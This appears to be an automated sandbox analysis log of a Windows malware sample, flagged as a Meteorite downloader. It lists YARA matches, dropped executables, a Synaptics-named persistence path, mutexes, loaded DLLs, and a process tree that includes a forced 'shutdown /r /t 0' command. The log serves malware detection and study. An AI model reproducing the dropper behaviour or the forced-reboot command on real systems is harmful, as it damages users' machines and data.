Source: 5.3.Synaptics.exe.6dfe20.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 5.3.Synaptics.exe.2124000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 5.3.Synaptics.exe.6dfe20.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 5.3.Synaptics.exe.6d63f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 5.3.Synaptics.exe.6d63f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 00000005.00000003.1514402089.0000000002124000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, type: DROPPED	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, type: DROPPED	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader

Source: classification engine

Classification label: mal84.rans.troj.expl.evad.winEXE@27/189@27/4

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E07727 GetLastError,FormatMessageW,

10_2_00E07727

Source: C:\Windows\wic.exe

Code function: 12_2_0088705F CoInitialize,GetProcAddress,GetProcAddress,GetProcAddress,CoCreateInstance,

12_2_0088705F

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E1B6D2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

10_2_00E1B6D2

Source: C:\Users\user\Desktop\file.exe

File created: C:\Program Files (x86)\1.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5500
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe

Jump to behavior

Source: Yara match	File source: 3.0.1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE7D7.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe, type: DROPPED

Source: C:\Program Files (x86)\4.exe	Command line argument: sfxname	10_2_00E1F05C
Source: C:\Program Files (x86)\4.exe	Command line argument: sfxstime	10_2_00E1F05C
Source: C:\Program Files (x86)\4.exe	Command line argument: p0	10_2_00E1F05C
Source: C:\Program Files (x86)\4.exe	Command line argument: STARTDLG	10_2_00E1F05C

Source: C:\Program Files (x86)\1.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 86%

Source: ._cache_1.exe	String found in binary or memory: -h --help give this help
Source: ._cache_1.exe	String found in binary or memory: -h --help give this help

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\1.exe "C:\Program Files (x86)\1.exe" 0
Source: C:\Program Files (x86)\1.exe	Process created: C:\Users\user\Desktop\._cache_1.exe "C:\Users\user\Desktop\._cache_1.exe" 0
Source: C:\Program Files (x86)\1.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\2.exe "C:\Program Files (x86)\2.exe" 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\3.exe "C:\Program Files (x86)\3.exe" 0
Source: C:\Program Files (x86)\2.exe	Process created: C:\Users\user\Desktop\._cache_2.exe "C:\Users\user\Desktop\._cache_2.exe" 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\4.exe "C:\Program Files (x86)\4.exe" 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\wic.exe "C:\Windows\wic.exe" 0
Source: C:\Windows\wic.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0
Source: unknown	Process created: C:\Windows\cbas.exe "C:\Windows\cbas.exe"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 33616
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\1.exe "C:\Program Files (x86)\1.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\2.exe "C:\Program Files (x86)\2.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\3.exe "C:\Program Files (x86)\3.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\4.exe "C:\Program Files (x86)\4.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\wic.exe "C:\Windows\wic.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\Users\user\Desktop\._cache_1.exe "C:\Users\user\Desktop\._cache_1.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Process created: C:\Users\user\Desktop\._cache_2.exe "C:\Users\user\Desktop\._cache_2.exe" 0
Source: C:\Windows\wic.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: wsock32.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: twext.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: policymanager.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: msvcp110_win.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: ntshrui.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: cscapi.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: shacct.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: starttiledata.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: acppage.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: sfc.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: msi.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: aepic.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: sfc_os.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: idstore.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: samlib.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: wlidprov.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: provsvc.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\2.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-0.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: riched20.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: usp10.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: msls31.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: ieframe.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dataexchange.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dcomp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: msiso.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: mshtml.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: umpdc.dll
